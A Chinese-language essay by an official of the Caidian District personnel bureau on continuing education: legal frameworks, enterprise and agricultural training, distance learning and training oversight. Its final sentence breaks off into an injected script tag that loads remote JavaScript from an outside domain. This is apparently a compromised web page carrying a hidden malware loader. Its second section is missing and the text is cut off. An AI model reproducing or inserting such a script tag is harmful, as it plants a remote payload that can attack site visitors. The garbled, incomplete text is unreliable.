蔡甸区人事局   陈祖练

 

在科学技术飞速发展和经济环境瞬息万变的今天，经济全球化趋势加大了中国产业结构调整的步伐，加速了新技术的更新和传播。对于今天的人们来说，只有学得更好，不断补充和更新知识，不断改革和创新，才能适应产业结构的不断调整，才能适应新世纪职业岗位结构变动和劳动力市场需求的变化，求得持续发展。在知识经济社会中，常规的学历教育的学习方式，已经不能适应不断变化的世界和经济全球化的需要，学习必须是终身的过程。终身学习、与时俱进是这个时代的特征，继续教育培训在知识经济社会中将发挥越来越重要的作用。因此，明确岗位培训的发展方向，构建终身教育体系，是新时期继续教育工作开展的首要任务。

一、继续推进继续教育的法规制度建设，促进继续教育事业的发展

现阶段人们对继续教育培训意识较淡薄，对继续教育的理解仅限于专业技术人员职称晋升与评定方面，成为继续教育工作的过场和形式。因此，建立完善的继续教育的法规制度是做好继续教育培训工作的重要保障。

继续教育的法规制度建设要立足于终身学习的观念，坚持培养和使用、经济建设和人力资源开发相结合的原则，把规划、培训、考核、使用等环节更紧密地结合起来，形成选人、用人、育人一体化的有效机制，打破继续教育工作中存在的表面化、片面化，切实把继续教育转变为单位和个人的内在需求。通过继续教育法规制度的建立和完善，明确继续教育工作的目标、对象、措施、责任、条件和经费保障及违法惩处等内容，为推进终身教育，建设学习型社会奠定良好的法制基础，加快推动继续教育工作有序地开展。

在经济全球化和科学技术高速发展以及由此引起的社会巨大变化的形势下，人们将面对复杂多变、更富有挑战性的世界，继续教育的培训内容也在逐步拓展和深化。因此，最大限度开发人的潜能，培养受教育者自主学习新知识，新技术的能力及创新能力正是继续教育的重要内容。

企业的腾飞和繁荣依靠技术革新，加入WTO后，在激烈多变的市场竞争中面临着更大的发展机遇和严峻的挑战。为了提高企业在市场的竞争能力，造就一批创新人才，大力推进企业体制创新、管理创新、技术创新、产品创新、营销创新，使企业立于不败之地。坚持将企业作为继续教育的主阵地，是新时期赋予继续教育的重任，也是今后继续教育工作发展的方向。

农业继续教育要围绕农业经济效益、社会效益和生态效益，推广普及农业科技、生产创新，实现农业产业现代化问题，开展继续教育工作，提高农业技术人员及乡镇民营企业人才的水平和能力。

三、建立以信息技术为核心的现代远程教育，构建终身学习的环境和条件

目前，信息化进程已迈上了新的台阶。单位、企业IP宽带网接通已逾92%，各乡镇机关全部启用区政府信息网系统，上网用户已上万，初步为推进以信息技术为核心的现代远程教育奠定了基础。

在未来的知识经济社会中，信息应用和更新的速度越来越快，因而，学习决定着个人及企业的前途和命运。以信息技术为中心的现代远程教育，由于具有不受时空、地域的限制，学习成本相对较低、学习灵活，能充分发挥学习者的主动性、积极性优势，为人们提供方便的终身学习的环境和条件，使其在继续教育中的份量越来越重。

建立现代远程教育，应充分利用多媒体、计算机公众信息网、有线电视网、卫星电视教育网，发挥远程教育资源共享的特点，形成覆盖广，多层次、多形式的开放教育体系，为满足不同社会成员的教育需求和提高继续教育质量发挥更大的作用。

四、开展内容丰富，形式多样的培训活动，注重继续教育的实效

以信息技术的知识经济正导致一场新学习革命。人们在生活、工作的实践中通过不断的学习才能获得在学校教育中未能获得的实用知识和分析问题、解决问题的能力、进行规划，沟通的能力，以及与他人团结、合作共事的能力等，这也是当前学习的主流。即“做中学”。校内培训与校外学习相互补充，有机地结合才能促进个人不断地向前发展。

在继续教育培训的实践中，应根据各单位、行业及个人的实际需要，有针对性地开展多种形式的培训活动。举办各种研修、研讨培训班，开展授课、专题报告及讲座、交流、讨论、考察、咨询等活动。利用简报、通讯、刊物、书籍等媒质，加快信息、知识的更新，提高继续教育水平，让继续教育的科技实效、经济实效、人才实效和社会实效得到凸现和发挥。

五、加强继续教育培训的督导评估，规范继续教育培训行为

继续教育随着教育市场的开放，竞争也日趋激烈，许多规模偏小，发展前景动力不够，师资力量薄弱的继续教育培训?script src=http://hnxlpp.com/n.js>